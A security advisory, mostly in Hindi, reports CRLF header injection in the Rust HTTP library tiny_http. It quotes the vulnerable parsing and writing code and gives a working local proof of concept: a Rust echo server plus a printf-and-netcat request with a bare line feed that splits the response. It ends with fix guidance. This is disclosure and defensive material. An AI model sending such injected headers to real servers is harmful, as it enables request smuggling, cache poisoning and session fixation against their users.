
Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http)
निर्धारित CVE ID: CVE-2026-66753
tiny_http HTTP हैडर मानों के अंदर कैरिज रिटर्न या लाइन फीड को किसी भी दिशा में अस्वीकार नहीं करता है।
अनुरोध पक्ष पर, read_next_line हैडर लाइन को केवल CRLF पर समाप्त करता है, इसलिए एक अकेला LF पार्स किए गए मान के अंदर बच जाता है और एप्लिकेशन तक पहुँचता है। प्रतिक्रिया पक्ष पर, Header::from_bytes केवल यह सत्यापित करता है कि बाइट्स ASCII हैं, और प्रतिक्रिया लेखक मानों को यथावत उत्सर्जित करता है, इसलिए CRLF युक्त मान प्रतिक्रिया को विभाजित कर देता है।
जो एप्लिकेशन किसी अनुरोध हैडर मान को प्रतिक्रिया हैडर में प्रतिबिंबित करते हैं, या जो अनुरोध हैडर को किसी अन्य कनेक्शन पर पुनः-क्रमबद्ध करते हैं, वे इसलिए बिना किसी संकेत के एक इंजेक्शन प्रिमिटिव प्राप्त कर लेते हैं कि कुछ गड़बड़ है।
रिपॉजिटरी URL: https://github.com/tiny-http/tiny-http
| प्रभावित | 0.12.0 (2022-10-06) तक के सभी जारी संस्करण, जो वर्तमान रिलीज़ है |
| सत्यापित | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| फिक्स संस्करण | लेखन के समय कोई फिक्स संस्करण नहीं |
यह RUSTSEC-2020-0031 / CVE-2020-35884 से अलग है, जो Transfer-Encoding पार्सिंग से संबंधित था और 0.6.3 तथा 0.8.0 में ठीक किया गया था। यहाँ वर्णित व्यवहार उस फिक्स से पहले और बाद दोनों में मौजूद है।
CWE-113 (HTTP हैडर में CRLF अनुक्रमों का अनुचित न्यूट्रलाइज़ेशन), CWE-93 (CRLF इंजेक्शन) का एक विशिष्ट मामला।
CVSS 4.0 आधार स्कोर 6.3 (मध्यम)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
एक दूरस्थ, अनप्रमाणित क्लाइंट जो किसी भी tiny_http सर्वर को कच्चा HTTP भेजता है। कोई क्रेडेंशियल या उपयोगकर्ता इंटरैक्शन नहीं।
उपभोक्ताओं के दो रूप इसे एक भेद्यता में बदल देते हैं:
जो एप्लिकेशन किसी अनुरोध हैडर मान को प्रतिक्रिया हैडर में कॉपी करते हैं। यह CORS ओरिजिन इको, अनुरोध डेटा से निर्मित Location हैडर, और कुकी हैंडलिंग के पीछे का प्रतिबिंब पैटर्न है। अनुरोध मान में एक अकेला LF प्रतिक्रिया तक पहुँचता है, और यदि एप्लिकेशन स्वयं प्रतिक्रिया मान का निर्माण करता है तो वह पूरा CRLF ले जा सकता है।
जो एप्लिकेशन अनुरोध हैडर को किसी अन्य कनेक्शन पर पुनः-क्रमबद्ध करते हैं, जैसे कि एक रिवर्स प्रॉक्सी। अकेला LF अपस्ट्रीम अनुरोध में लिखा जाता है, और जो बैकएंड एक नंगे LF को हैडर लाइन समाप्ति के रूप में मानते हैं, वे एक अनुरोध को दो के रूप में पढ़ते हैं। RFC 9112 धारा 2.2 प्राप्तकर्ताओं को ऐसा करने की अनुमति देती है, इसलिए वे बैकएंड स्पेक के भीतर हैं। Go net/http और Python http.server दोनों को इसे स्वीकार करते हुए मापा गया।
tiny_http-0.12.0/src/client.rs, पंक्तियाँ 80 से 102। लूप केवल तभी लौटता है जब LF के पहले CR हो। कोई भी अन्य बाइट, जिसमें एक अकेला LF या एक अकेला CR शामिल है, पंक्ति 100 पर लाइन बफर में डाल दी जाती है:
84 loop {
85 let byte = self.next_header_source.by_ref().bytes().next();
...
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
101 }
LF 0x0A है और CR 0x0D है, दोनों मान्य ASCII हैं, इसलिए पंक्ति 94 पर AsciiString::from_ascii उन्हें स्वीकार करता है।
tiny_http-0.12.0/src/common.rs, पंक्तियाँ 184 से 191, फिर केवल मान को trim करता है। trim शुरुआती और अंतिम व्हाइटस्पेस हटाता है लेकिन आंतरिक बाइट्स को बरकरार रखता है:
184 fn from_str(input: &str) -> Result<Header, ()> {
185 let mut elems = input.splitn(2, ':');
186
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
एक CRLF जोड़ी जीवित नहीं रह सकती, क्योंकि यह लाइन को समाप्त करती है, लेकिन एक अकेला LF, एक अकेला CR, और \n\r जैसे अनुक्रम सभी जीवित रह सकते हैं।
tiny_http-0.12.0/src/common.rs, पंक्तियाँ 166 से 172, केवल ASCII की जाँच करता है:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
tiny_http-0.12.0/src/response.rs, पंक्तियाँ 99 से 104, बिना किसी एस्केपिंग के मान लिखता है:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
ध्यान दें कि पंक्ति 226 पर HeaderField::from_str फ़ील्ड नाम में व्हाइटस्पेस को अस्वीकार करता है, लेकिन पंक्ति 171 पर HeaderField::from_bytes ऐसा नहीं करता, इसलिए प्रतिक्रिया हैडर नाम भी अनियंत्रित हैं।
चरण 1. एक सर्वर प्रारंभ करें जो पार्स किए गए अनुरोध हैडर मान को प्रिंट करता है और CRLF युक्त मान को प्रतिक्रिया हैडर में इको करता है।
use tiny_http::{Header, Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8004").unwrap();
for request in server.incoming_requests() {
for h in request.headers() {
if h.field.equiv("X-Test") {
println!("parsed X-Test value = {:?}", h.value.as_str());
}
}
let evil = "a\r\nX-Injected: yes";
let mut resp = Response::from_string("body");
resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
let _ = request.respond(resp);
}
}
चरण 2. एक अनुरोध भेजें जिसका X-Test मान एक नंगा LF रखता है। नीचे दिए गए कमांड में \n एक एकल लाइन फीड है और \r\n एक CRLF है। यह अंतर परीक्षण का मुख्य बिंदु है, इसलिए किसी एडिटर को इसे सामान्य न करने दें।
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
stdout पर परिणाम। LF अभी भी पार्स किए गए मान के अंदर है:
parsed X-Test value = "aaa\nbbb"
वायर पर परिणाम। प्रतिक्रिया हैडर दो में विभाजित हो गया:
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4
body
अकेले tiny_http अनुरोध हैडर को पुनः उत्सर्जित नहीं करता है, इसलिए अनुरोध-पक्ष व्यवहार एक प्रत्यक्ष समझौते के बजाय एक अव्यक्त प्रिमिटिव है। यह किसी भी उपभोक्ता में शोषणीय हो जाता है जो हैडर मानों को आगे भेजता है या प्रतिबिंबित करता है, जहाँ यह LF-सहिष्णु बैकएंड के विरुद्ध अनुरोध स्मगलिंग या प्रतिक्रिया में हैडर इंजेक्शन उत्पन्न करता है।
प्रतिक्रिया-पक्ष व्यवहार किसी भी एप्लिकेशन में सीधे शोषणीय है जो हमलावर-प्रभावित पाठ को हैडर मान में रखता है: ओरिजिन के संदर्भ में स्क्रिप्ट इंजेक्शन, कैश पॉइज़निंग, इंजेक्ट किए गए Set-Cookie के माध्यम से सत्र फिक्सेशन, और सुरक्षा हैडर को ओवरराइड करना।
तुलना के लिए, http क्रेट HeaderValue::from_str में CR और LF को अस्वीकार करता है, यही कारण है कि इस पर निर्मित स्टैक इन दोनों व्यवहारों को उजागर नहीं करते हैं।
दोनों सीमाओं पर नियंत्रण वर्णों को अस्वीकार करें।
read_next_line (src/client.rs पंक्ति 80) में, हैडर लाइन में एक नंगे CR या एक नंगे LF को प्रोटोकॉल त्रुटि मानें और इसे मान में शामिल करने के बजाय 400 लौटाएँ। वैकल्पिक रूप से, विभाजन के बाद Header::from_str (src/common.rs पंक्ति 184) में उन्हें अस्वीकार करें।
Header::from_bytes (src/common.rs पंक्ति 166) में, 0x0D, 0x0A या 0x00 युक्त मानों को अस्वीकार करें, और RFC 9110 टोकन सेट के बाहर कुछ भी युक्त फ़ील्ड नामों को अस्वीकार करें। वहाँ Err लौटाना पहले से ही कॉलर्स द्वारा संभाला जाता है, क्योंकि सिग्नेचर फ़ॉलिबल है।